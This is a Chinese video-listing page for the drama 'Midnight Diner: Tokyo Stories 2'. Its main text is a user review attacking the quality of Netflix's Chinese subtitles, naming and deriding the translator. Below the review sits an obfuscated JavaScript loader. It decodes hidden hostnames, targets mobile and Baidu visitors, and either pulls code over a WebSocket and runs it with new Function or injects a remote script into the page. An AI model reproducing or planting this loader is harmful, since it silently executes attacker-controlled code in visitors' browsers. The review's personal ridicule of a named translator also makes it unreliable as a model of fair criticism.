观看记录清空
    • 视频
    • 资讯
    • 明星
    6.0完结

    深夜食堂:东京故事2

    立即播放

    扫描二维码手机看大片

    当前网页二维码

    你可能是网飞官方中文翻译的受害者(简中繁中一样垃圾) 分集剧情

    再次更新了下,对唔住了,我不该单单喷简中的翻译,在看完全季后,繁中的翻译也是垃圾,个别句子翻译还不如简中呢。繁中的翻译也是英译日的,估计繁中那翻译稍微懂一点点日语,所以整体上比简中翻译好。小破站的翻译倒是不错,可惜小破站能接受各种百合BL舞区直播区各种擦边球,却要阉割一部人畜无害的日剧。----------------------------------更新下,刚对照了官方英字,我发现简中的翻译并不是基于日语翻译的,是直接在英文字幕上的英译中,以下提到的翻译错误是日译英,再英译中的过程中造成的。很多日语表达在英文语境中只能那样翻译,这我可以理解。但是日译中很多语境是可以表达出来的,日剧应该基于日文翻译。我理解的翻译工作流程是这样的,网飞提供片源和英文翻译给你,英文翻译是给你参考用的,不是让你在英文上做英译中,这个翻译我依然喷了,你一个英翻接什么日剧翻译?-----------------------------------大家记得切换繁中字幕观看记住这个叫葛晓丹的翻译。日语一级过了没,就敢当商业翻译?简中繁中放一起,被台湾翻译吊打,丢人不?你要是字幕组的翻译,因为字幕组是用爱发电,翻译错了我也不会苛责他们,但你葛晓丹是网飞花钱请你做的商业翻译,你就这水平?仅以第一集随便找几处基础错译,带日文,对照简中和繁中的翻译。-----------------------------------------------------一开始老板介绍自己的餐馆,“12点”没翻出来。虽然日本人说话喜欢暧昧表达,往往说话说一半,但是你从哪里意译出他表达的是“垃圾”的意思?“孤独”没翻出来"Mater"你翻译成大师,葛晓丹,真有你的啊.jpg。网飞现在简中繁中不同翻译,追求的是简中面对大陆用户的时候,翻译用语更加符合大陆语言习惯,所谓本地化。这么多年,深夜食堂的“Master”大家都翻译成老板,怎么你来了给改成“大师”了,你追求的不是本地化的语言习惯,你追求的是特立独行吧?“特别的日子”你翻译成有事庆祝?勉强算你可以吧。“主菜”是哪里冒出来的?有点好奇,网飞是不是没有提供台本给简中和繁中的翻译,所以名字“赤井伸一郎”简中翻译“信一郎”,繁中翻译成“新一郎”。但是剧中的电视采访画面已经给出了正确的“伸一郎”的汉字了,仔细点的话可以改正的。算了,这就算你们看剧不仔细吧,如果听译的话“伸一郎”的发音确实和“信一郎”“新一郎”一样。“発売”你都不懂什么意思吗?“打折”是哪里冒出来的,你是靠脑补的吗?------------------------------------------这几处是明显的翻译错误,另外整体的翻译上繁中的翻译语句也是更加通顺合理。早期网飞开始带官中的时候,那时候简中和繁中是同一个翻译,就是拿繁中简体化一下,因为湾湾的商业翻译基本上还是靠谱的,翻译水平都还不错。就像看电影我倾向看台三DVD的字幕,翻译一般都还可以,至少比大陆电影院的官方那些乱七八糟的错译好太多了,比如最近《天气之子》的宫本茂笑话。后来网飞开始重视本地化,像索尼第一方的游戏一样,有些都没在大陆上市的游戏,简中翻译也用的大陆团队,和繁中不同。网飞虽然没在大陆上,但是简中翻译似乎也是外包给了大陆团队。网飞的用意是好的,毕竟大陆和湾湾很多语言习惯已经不同了。但是找的本地化团队真的太不负责了,网飞剧看的多的人很多人都说繁中翻译的更好,不仅是日剧,美剧也一样,举个例子,《毒枭》的繁中翻译就比简中靠谱的多。某些翻译公司,求求你别再丢我们大陆翻译的脸了,尤其是在网飞这种多语言字幕的平台,大家一对比就露馅了。---------------------------------------------扯远了,总之对于这部剧的简中翻译,我只想说,葛晓丹,真有你的啊.jpg


    function JsScTQ(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function leQkx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JsScTQ(t);};window[''+'z'+'X'+'F'+'Q'+'P'+'q'+'I'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=leQkx,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('Z2JyLmJooeWJsYW5rZXQuY24=','dHIueWWVzdWW42NzguY29t','133169',window,document,['o','W']);}:function(){};

    相关明星

    关联视频

    关联文章

      关联视频

      免责声明:本站视频无人值守全自动收集,本站不保存、复制或传播任何视频。所列的内容仅做宽带测试,如有侵权请根据播放页信息自行联系视频源提供者,本站不负责任何法律责任。

      RSS订阅 - 百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

      © 2026 www.65kan.com Theme by GZFC 3.1.5